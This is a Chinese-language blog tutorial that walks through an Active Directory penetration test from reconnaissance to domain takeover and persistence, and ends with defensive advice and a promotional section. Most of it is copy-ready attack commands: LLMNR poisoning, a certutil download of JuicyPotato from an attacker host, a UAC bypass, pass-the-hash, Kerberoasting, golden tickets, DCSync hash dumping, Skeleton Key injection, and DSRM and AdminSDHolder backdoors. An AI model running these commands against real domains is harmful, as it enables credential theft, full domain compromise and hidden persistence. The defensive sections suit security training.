AD域环境渗透测试实战指南 - 安全技术
AD域环境渗透测试实战指南 - 安全技术

AD域环境渗透测试实战指南:从信息收集到权限维持

引言

Active Directory作为企业网络身份认证和访问控制的核心基础设施,承载着组织内90%以上的身份管理任务。据统计,超过85%的全球500强企业使用AD域环境,而针对AD的攻击在内部渗透测试中占比高达60%以上。从Pass-the-Hash到Kerberoasting,从DCSync到黄金票据攻击,AD域的安全防线正在面临前所未有的挑战。

AD域环境渗透测试实战指南 - 安全技术

本文将从实战角度出发,完整演示一次企业AD域环境渗透测试流程,涵盖信息收集、权限提升、横向移动、域控接管及权限维持等关键阶段。所有操作均在授权测试环境中进行,技术细节经过脱敏处理。

一、信息收集与侦察阶段

1.1 无凭据信息收集

在未获得任何域凭证前,攻击者通常利用广播协议和匿名查询获取初始信息。

LLMNR/NBT-NS投毒探测:

# 使用Responder捕获网络认证请求
responder -I eth0 -rdwv

SMB匿名共享枚举:

# 通过空会话枚举域信息
net use \\192.168.1.1\IPC$ "" /user:""
enum4linux -a 192.168.1.1

LDAP匿名查询(域控未限制时):

# 使用ldapsearch进行匿名域信息收集
ldapsearch -x -H ldap://dc01.target.com -b "DC=target,DC=com" "(objectClass=user)" sAMAccountName

1.2 有凭据信息收集

一旦获取到低权限域用户凭据,信息收集深度将大幅提升。

使用BloodHound进行域关系映射:

# 运行SharpHound收集器
SharpHound.exe -c All --domain target.com --ldappass "P@ssw0rd" --ldapuser "testuser"

# 使用Python版本(Linux环境)
bloodhound-python -u testuser -p 'P@ssw0rd' -ns 192.168.1.1 -d target.com -c All

PowerView域信息枚举:

# 加载PowerView模块
Import-Module .\PowerView.ps1

# 获取域管理员组成员
Get-NetGroupMember -GroupName "Domain Admins"

# 枚举域控
Get-NetDomainController

# 查找存在约束委派的机器账户
Get-DomainComputer -TrustedToAuth

实战案例: 在一次内网渗透中,通过BloodHound发现一个Service Account具有对域控的GenericWrite权限。该服务账户虽然只是普通域用户,但其ACL配置错误导致可以重置域管理员密码。

二、权限提升与横向移动

2.1 本地提权

利用SeImpersonatePrivilege提权(Juicy Potato):

# 上传JuicyPotato到目标机器
certutil -urlcache -f http://attacker.com/JuicyPotato.exe C:\temp\jp.exe

# 执行提权(CLSID需根据系统版本选择)
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {CLSID}

UAC绕过(Windows 10/11):

# 使用FodHelper注册表劫持
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "cmd.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force

# 触发UAC提权
fodhelper.exe

2.2 横向移动技术

Pass-the-Hash(PtH):

# 使用impacket的wmiexec进行哈希传递
impacket-wmiexec -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 target.com/administrator@192.168.1.2

Overpass-the-Hash(获取Kerberos票据):

# 从内存中获取NTLM哈希并请求TGT
sekurlsa::pth /user:administrator /domain:target.com /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe

# 在新的cmd中请求TGT
klist purge
net use \\dc01.target.com
klist

PsExec横向移动:

# 利用PsExec远程执行命令
PsExec.exe \\192.168.1.2 -u target.com\administrator -p P@ssw0rd cmd.exe

2.3 票据攻击

Kerberoasting(请求服务票据):

# 使用Rubeus请求所有SPN的TGS票据
Rubeus.exe kerberoast /outfile:hashes.txt

# 使用impacket的GetUserSPNs
impacket-GetUserSPNs -request -dc-ip 192.168.1.1 target.com/testuser

AS-REP Roasting(不需要密码的Kerberos攻击):

# 枚举不需要预认证的账户
Get-DomainUser -PreauthNotRequired

# 请求AS-REP响应
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

黄金票据(Golden Ticket)攻击:

# 导出krbtgt哈希(需要域控权限)
lsadump::dcsync /domain:target.com /user:krbtgt

# 创建黄金票据
kerberos::golden /user:Administrator /domain:target.com /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:krbtgt_hash /id:500 /ptt

# 验证票据
klist
dir \\dc01.target.com\c$

三、域控接管与权限维持

3.1 DCSync攻击

DCSync是最致命的域控攻击技术之一,通过模拟域控复制协议获取任意账户的密码哈希。

使用mimikatz进行DCSync:

# 使用域管理员权限执行DCSync
lsadump::dcsync /domain:target.com /user:Administrator

# 导出所有域用户哈希
lsadump::dcsync /domain:target.com /all /csv

使用impacket进行远程DCSync:

# 远程DCSync,无需在域控上执行
impacket-secretsdump -just-dc target.com/administrator:"P@ssw0rd"@192.168.1.1

3.2 Skeleton Key(万能钥匙)攻击

注入Skeleton Key到域控lsass进程,使得任何域用户都可以使用万能密码登录。

# 在域控上执行(需要system权限)
misc::skeleton

# 使用万能密码(默认:mimikatz)登录任意域管理员账户
net use \\dc01.target.com /user:target.com\administrator mimikatz

3.3 DSRM账户后门

域控本地管理员账户(DSRM)在域恢复模式下可用,修改其密码后可用于持久化访问。

# 修改DSRM密码
ntdsutil
set dsrm password
reset password on server null
P@ssw0rd123!
q
q

# 启用DSRM账户登录
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

3.4 域持久化技术

AdminSDHolder对象后门:

# 修改AdminSDHolder的ACL,使新创建的管理员账户自动获得权限
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=target,DC=com" -PrincipalIdentity attacker -Rights ResetPassword

# 触发SDProp进程(每60分钟自动执行)
# 管理员组新增成员时会自动继承后门权限

服务票据持久化:

# 创建具有高权限的服务账户并注册SPN
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity svc_backup -ServicePrincipalNames @{Add="MSSQLSvc/dc01.target.com:1433"}
Add-ADGroupMember -Identity "Domain Admins" -Members svc_backup

四、真实场景案例分析

案例:某金融企业AD域渗透测试

背景: 目标企业拥有5000+用户,30+域控,采用多域架构。

攻击路径:
1. 初始入口: 通过钓鱼邮件获取一名普通销售人员的域凭证
2. 信息收集: BloodHound发现该用户对HR部门的文件服务器具有写权限
3. 横向移动: 在HR服务器上利用SeImpersonatePrivilege提权至SYSTEM
4. 哈希获取: 从HR服务器内存中dump出域管理员登录过的哈希
5. 域控接管: 使用PtH登录到域控,执行DCSync导出krbtgt哈希
6. 权限维持: 创建黄金票据并部署Skeleton Key

关键教训:
– 该企业未启用LAPS(本地管理员密码解决方案)
– 域管理员在普通服务器上登录,导致哈希泄露
– 未启用Credential Guard保护凭据

五、防御最佳实践

5.1 基础安全配置

启用高级审计策略:

# 启用Kerberos服务票证操作审计
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

# 启用目录服务访问审计
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable

禁用NTLMv1和LLMNR:

# 通过组策略禁用LLMNR
Computer Configuration > Administrative Templates > Network > DNS Client > Turn off LLMNR

# 禁用NTLMv1
Network security: LAN Manager authentication level > Send NTLMv2 responses only. Refuse LM & NTLM

5.2 高级防御措施

部署Credential Guard:

# 启用基于虚拟化的安全
Enable-WindowsOptionalFeature -Online -FeatureName "DeviceGuard" -All

配置受保护用户组:

# 将高权限账户加入受保护用户组
Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins"

启用SMB签名和加密:

# 强制SMB签名
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

5.3 监控与响应

关键日志监控点:
– Event ID 4624(账户登录)中异常的登录类型
– Event ID 4768(TGT请求)中异常的Kerberos请求
– Event ID 5136(目录服务修改)中AdminSDHolder对象的变更
– Event ID 4662(目录服务访问)中异常的ACL查询

部署Honey Token:

# 创建虚假的高权限账户
New-ADUser -Name "svc_oracle" -AccountPassword (ConvertTo-SecureString "HoneyP@ss123" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_oracle"

# 配置该账户的登录触发警报

总结

AD域渗透测试是一项系统性工程,从初始信息收集到最终域控接管,每个环节都依赖对Windows认证机制和Kerberos协议的深入理解。本文展示的攻击路径在真实环境中反复出现,其根本原因在于配置疏忽和过度信任。

对于防御方而言,应重点关注:
1. 最小权限原则:严格限制服务账户权限,启用LAPS管理本地管理员密码
2. 多层防御:结合Credential Guard、受保护用户组和高级审计策略
3. 持续监控:部署SIEM系统,重点关注Kerberos异常和ACL变更
4. 定期演练:通过红蓝对抗验证防御体系的有效性

记住:AD域的安全不是一劳永逸的配置,而是需要持续维护和演进的动态过程。每一次渗透测试都是对现有防御体系的压力测试,发现问题并修复,才是真正的安全提升。

📚 推荐资源

– 部分链接含推广返佣 –

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / Linux运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注